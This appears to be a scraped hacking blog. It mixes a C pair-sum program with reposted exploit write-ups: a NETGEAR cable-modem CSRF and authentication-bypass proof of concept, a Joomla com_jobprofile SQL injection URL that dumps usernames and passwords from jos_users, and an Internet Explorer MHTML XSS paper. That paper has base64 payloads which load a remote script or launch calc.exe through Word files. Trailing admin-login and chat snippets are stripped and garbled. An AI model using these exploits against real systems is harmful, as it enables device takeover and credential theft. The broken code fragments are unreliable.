Friday, February 15, 2013

Given an array A[] and a number x, check for pair in A[] with sum as x

# include 
# define bool int

void quickSort(int *, int, int);

bool hasArrayTwoCandidates(int A[], int arr_size, int sum)
{
    int l, r;

    /* Sort the elements */
    quickSort(A, 0, arr_size-1);

    /* Now look for the two candidates in the sorted 
       array*/
    l = 0;
    r = arr_size-1; 
    while(l < r)
    {
         if(A[l] + A[r] == sum)
              return 1; 
         else if(A[l] + A[r] < sum)
              l++;
         else // A[i] + A[j] > sum
              r--;
    }    
    return 0;
}

/* Driver program to test above function */
int main()
{
    int A[] = {1, 4, 45, 6, 10, -8};
    int n = 16;
    int arr_size = 6;
   
    if( hasArrayTwoCandidates(A, arr_size, n))
        printf("Array has two elements with sum 16");
    else
        printf("Array doesn't have two elements with sum 16 ");

    getchar();
    return 0;
}

/* FOLLOWING FUNCTIONS ARE ONLY FOR SORTING 
    PURPOSE */
void exchange(int *a, int *b)
{
    int temp;
    temp = *a;
    *a   = *b;
    *b   = temp;
}

int partition(int A[], int si, int ei)
{
    int x = A[ei];
    int i = (si - 1);
    int j;

    for (j = si; j <= ei - 1; j++)
    {
        if(A[j] <= x)
        {
            i++;
            exchange(&A[i], &A[j]);
        }
    }
    exchange (&A[i + 1], &A[ei]);
    return (i + 1);
}

/* Implementation of Quick Sort
A[] --> Array to be sorted
si  --> Starting index
ei  --> Ending index
*/
void quickSort(int A[], int si, int ei)
{
    int pi;    /* Partitioning index */
    if(si < ei)
    {
        pi = partition(A, si, ei);
        quickSort(A, si, pi - 1);
        quickSort(A, pi + 1, ei);
    }
}

Friday, December 30, 2011

NETGEAR Wireless Cable Modem Gateway Auth Bypass and CSRF

HTML Code:
Release Date.                  20-Sep-2011 Last Update.                    - Vendor Notification Date.      22-Mar-2011 Product.                        NETGEAR Wireless Cable Modem Gateway                                 CG814WG Affected versions.             Hardware 1.03,                                 Software V3.9.26 R14 verified,                                 possibly others Severity Rating.               High Impact.                         Authentication bypass,                                 Cross Site Request Forgery Attack Vector.                 Remote without  authentication Solution Status.               Upgrade to R15 (by  contacting NETGEAR) CVE reference.                 Not yet assigned    Details. The NETGEAR Wireless Cable Modem Gateway CG814WG is supplied by  ISP's as customer premises equipment within Australia and abroad. It is  a centrally managed ISP solution whereby each ISP's devices run a  customised firmware and configuration changes and updates can be pushed  out as required.   Basic authentication is used as the primary and only  authentication mechanism for the administrator interface on the device.  The basic authentication can be bypassed by sending a valid POST request  to the device without sending any authentication header. The response  from the device sends the user to another page that requests basic  authentication, however at this point the request has already been  processed.   An example of attacks using the basic authentication bypass  may include changing the admin password or enabling the remote admin  interface (Internet facing).   Additionally, due to the lack of CSRF  protection in the web application, the bypass attack can be coupled with  CSRF to have a victim enable the remote admin interface to the  Internet, where an attacker can then use the bypass attack again across  the remote admin interface to reset the admin password and access the  device. This attack is possible when targeting a victim that is behind  the NETGEAR device on the same segment as the web administrator  interface whom has browsed to a malicious site containing the CSRF  attack.   NETGEAR was notified of this vulnerability on 22 March 2011,  but we never received a response or acknowledgement of the issue or fix.  Sense of Security notified local ISP's and it was escalated by a local  ISP who worked with NETGEAR to develop and test an update. Sense of  Security was never provided an opportunity to validate the fixes in the  latest firmware version. Given the severity of the issue it would be  prudent for NETGEAR to notify and supply an update to all of its  customers.   Proof of Concept. By embedding the below HTML in a website  and having a victim browse to the website the remote management  interface to the Internet would be enabled. An attacker could then use  one of the hardcoded passwords for the device to access it, or use a  basic authentication bypass to change the admin password. Alternatively,  the attacker could conduct a CSRF attack that implements two POST  requests to have the remote admin interface enabled, and the admin  password changed.   The example here is a basic proof of concept, more  complex examples which include JavaScript redirects to mask the basic  authentication pop-up would be more stealthy.      
"http://192.168.0.1/goform/RgRemoteManagement"
method="POST" name="form"> "hidden" name="NetgearRmEnable" value="0x01"> "hidden" name="NetgearRmPortNumber" value="1337"> "hidden" name="NetgearUserLevel" value="1">
Solution. Ask your ISP to obtain the latest firmware from NETGEAR and deploy it to your device. Discovered by. Sense of Security Labs. :80:

Joomla Component Jobprofile SQL INJECTION

FROM:1337day.com


Code:
[~] Joomla Component Jobprofile (com_jobprofile) SQL Injection Vulnerability
[~] Author : kaMtiEz (kamtiez@exploit-id.com)
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id
[~] Date : 2 Dec , 2011
 
[ Software Information ]
 
[+] Vendor : http://www.thakkertech.com/
[+] INFO : http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11924
[+] Download : http://www.thakkertech.com/products/joomla-extensions/components/jobprofile-joomla-component-detail.html
[+] Version : null / 1.0 maybe :D
[+] Price : 25,00
[+] Vulnerability : SQL INJECTION
[+] Dork : "think it :D"
[+] LOCATION :  INDONESIA -
 
[ Vulnerable File ]
 
 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=[SQL]
 
[ XpL ]
 
 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--
 

Microsoft Internet Explorer MHTML Protocol Handler XSS

Hacking with mhtml protocol handler
 
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2011/1/15
References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
 
Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks...
 
1.Cross Site Scripting by upload mhtml file
 
Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the  mhtml file to a *.jpg file,etc. then upload it to the target site...
 
ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions
 
then use iframe tag src to it:
 

 
2.Cross Site Scripting mhtml-file string injection
 
the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked.
 
poc:
 
test it on win7 system pls.
 

 
if win-xp or win2k3 system,pls do it by the second urlencode.
 
mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :)
 
3.bypass X-Frame-Options
 
X-Frame-Options did not protect the mhtml protocol handler.
 
the demo:
 


 
4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul
 
Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used  "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it.
 
Demo:
 
test it on win2k3+ie8+Adobe Reader 9
 
http://www.80vul.com/hackgame/xs-g0.php?username=Administrator
 
 
5.mhtml+file://uncpath+word == local xss vul
 
demo:http://www.80vul.com/mhtml/word.doc
 
download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content.
 
this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2).
 
to make the proof of concept follow the following steps:
 
1-Make a html file and paste xss code
2-Open the html file with the word and save as c:\word.xml
3-Open the word.xml with the notepad,and inject the mhtml code in aaaaa 
4-Rename c:\word.xml to c:\word.doc
5-Open c:\word.doc file
 
xss code
---------------------------------------------------------


aaaaa
----------------------------------------------------------
 
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
 
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
 
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
--_boundary_by_mere--
 
*/
--------------------------------------------------------
 
if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :)
  
"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm
 
update
ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL()
 
 
6. Coss Zone Scripting
 
First we would like to mention a very old vulnerability:
 

 
This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3
 
Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:
 
xss code
---------------------------------------------------------


aaaaa
----------------------------------------------------------
 
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
 
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
 
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
--_boundary_by_mere--
 
*/
--------------------------------------------------------
 
 
thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.
 
 
About Ph4nt0m Webzine
 
Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank 

Admin login Page

Coded by ME

Admin login panel page



Code below



Code:





Crash_Override Admin Login










Crash_Override Admin Control Panel Login

Enter your username and pass (case sensitive)
Username:
Password:
 
COOKIES MUST BE ENABLED ON YOUR WEB BROWSER!
 

HTML maintenance page

Created by Crash_Override


Code:
 



Untitled Document


Starflower


Website is currently under construction

Note: Website will be up soon

Contact Administrators
Email:

We will contact you in the next 24 hours.

Minichat (php)

Minichat no MySQL need

Add the bellow code in your page:

PHP Code:
 
<button onmouseover="this.style.cursor='pointer'";  onClick="send()"><img src="images/send.gif" width="133">button><br>
<
input style="background: black; color: white; text-align: center" onFocus="value=''" type="text"  name="search" id="chat"  value="">
<
br>
<
div id="frame1">
<
iframe width="153" src="jkgh1g5h1j5gh12k5g21hk5gh5gf12tjf12cj125jyc2y5l6glug36gl36lg6gyk5f12yk1fgk515k125gyk251h125vh125kjhv51k.php">
iframe>
<
script>
function 
send()
{
var 
message document.getElementById('chat').value;
var 
meslen document.getElementById('chat').value.length;
if (
meslen <= 0)
{
alert('Please,write the message.');
}
else if (
meslen >= 81)
{
alert('Maximum characters in your messages must be 80');
}
else
{
document.getElementById("frame1").innerHTML='+message+'">';
}
}
 

Newer Posts Older Posts Home